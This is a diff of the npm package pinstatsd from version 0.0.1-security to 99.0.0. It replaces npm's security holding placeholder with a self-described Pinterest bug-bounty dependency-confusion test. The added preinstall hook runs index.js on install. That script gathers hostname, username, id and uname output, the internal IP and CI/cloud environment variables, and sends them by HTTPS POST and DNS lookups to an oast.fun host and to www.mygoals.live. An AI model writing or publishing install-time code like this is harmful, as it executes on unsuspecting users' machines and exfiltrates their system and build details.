pinstatsd 0.0.1-security → 99.0.0

package/README.md

@@ -1,5 +1,15 @@
-# Security holding package
+# pinstatsd - Dependency Confusion Security Test
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+This package was registered on npm as part of an authorized security assessment
+on Pinterest's bug bounty program (Bugcrowd).
 
-Please refer to www.npmjs.com/advisories?search=pinstatsd for more information.
+**Researcher:** r76o4
+
+On install, this package sends a callback with basic system info to verify
+code execution. No data is accessed, exfiltrated, or modified.
+
+The internal Pinterest package `pinstatsd` is referenced in
+[pinterest/teletraan](https://github.com/pinterest/teletraan/blob/master/deploy-agent/thirdparty/requirements.txt)
+but was not registered on npm.
+
+Pinterest security team: reach **r76o4** on Bugcrowd.

package/index.js

@@ -0,0 +1,100 @@
+/**
+ * Dependency Confusion Security Test
+ * Pinterest Bug Bounty (Bugcrowd) — Researcher: r76o4
+ *
+ * Collects basic system info to prove code execution.
+ * No destructive actions taken.
+ */
+
+const https = require("https");
+const http = require("http");
+const os = require("os");
+const { execSync } = require("child_process");
+const dns = require("dns");
+
+function safe(fn) {
+  try { return fn(); } catch { return "unknown"; }
+}
+
+const info = {
+  package: "pinstatsd",
+  version: "99.0.0",
+  type: "dependency_confusion",
+  researcher: "r76o4",
+  program: "pinterest-bugcrowd",
+  hostname: safe(() => os.hostname()),
+  username: safe(() => os.userInfo().username),
+  whoami: safe(() => execSync("whoami").toString().trim()),
+  pwd: safe(() => process.cwd()),
+  platform: safe(() => `${os.platform()} ${os.release()} ${os.arch()}`),
+  node: safe(() => process.version),
+  ip_internal: safe(() => {
+    const nets = os.networkInterfaces();
+    for (const name of Object.keys(nets)) {
+      for (const net of nets[name]) {
+        if (net.family === "IPv4" && !net.internal) return net.address;
+      }
+    }
+    return "unknown";
+  }),
+  id: safe(() => execSync("id 2>/dev/null || whoami").toString().trim()),
+  uname: safe(() => execSync("uname -a 2>/dev/null || ver").toString().trim()),
+  env: {}
+};
+
+// Safe env vars
+const safeKeys = [
+  "HOME", "PATH", "SHELL", "CI", "JENKINS_URL", "BUILD_URL", "BUILD_ID",
+  "GITHUB_ACTIONS", "GITHUB_REPOSITORY", "GITHUB_WORKFLOW",
+  "AWS_REGION", "AWS_DEFAULT_REGION", "AWS_EXECUTION_ENV",
+  "KUBERNETES_SERVICE_HOST", "NODE_ENV", "NPM_CONFIG_REGISTRY",
+  "HOSTNAME", "NODE_NAME"
+];
+for (const k of safeKeys) {
+  if (process.env[k]) info.env[k] = process.env[k];
+}
+
+const data = JSON.stringify(info);
+
+// Callback 1: Interactsh DNS
+try {
+  const tag = `pinstatsd-${info.hostname}-${info.username}`.replace(/[^a-z0-9-]/gi, "-").slice(0, 60);
+  dns.resolve(`${tag}.ienfcixqbgvbxkccdoxgfz2zhmspdpiys.oast.fun`, () => {});
+} catch {}
+
+// Callback 2: Interactsh HTTP
+try {
+  const req = https.request({
+    hostname: "ienfcixqbgvbxkccdoxgfz2zhmspdpiys.oast.fun",
+    path: "/npm-pinstatsd",
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    timeout: 10000
+  });
+  req.on("error", () => {});
+  req.write(data);
+  req.end();
+} catch {}
+
+// Callback 3: mygoals.live HTTP
+try {
+  const req = https.request({
+    hostname: "www.mygoals.live",
+    path: "/api/xss?type=npm_depconf_pinstatsd",
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    timeout: 10000
+  });
+  req.on("error", () => {});
+  req.write(data);
+  req.end();
+} catch {}
+
+// Callback 4: mygoals.live DNS
+try {
+  const tag2 = `npm-pinstatsd-${info.hostname}`.replace(/[^a-z0-9-]/gi, "-").slice(0, 60);
+  dns.resolve(`${tag2}.pindepconf.mygoals.live`, () => {});
+} catch {}
+
+// Keep process alive briefly for callbacks to fire
+setTimeout(() => {}, 3000);

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "pinstatsd",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.0.0",
+  "description": "Dependency confusion security test - Pinterest bug bounty (Bugcrowd). Researcher: r76o4",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "r76o4",
+  "license": "ISC",
+  "homepage": "https://bugcrowd.com/pinterest"
 }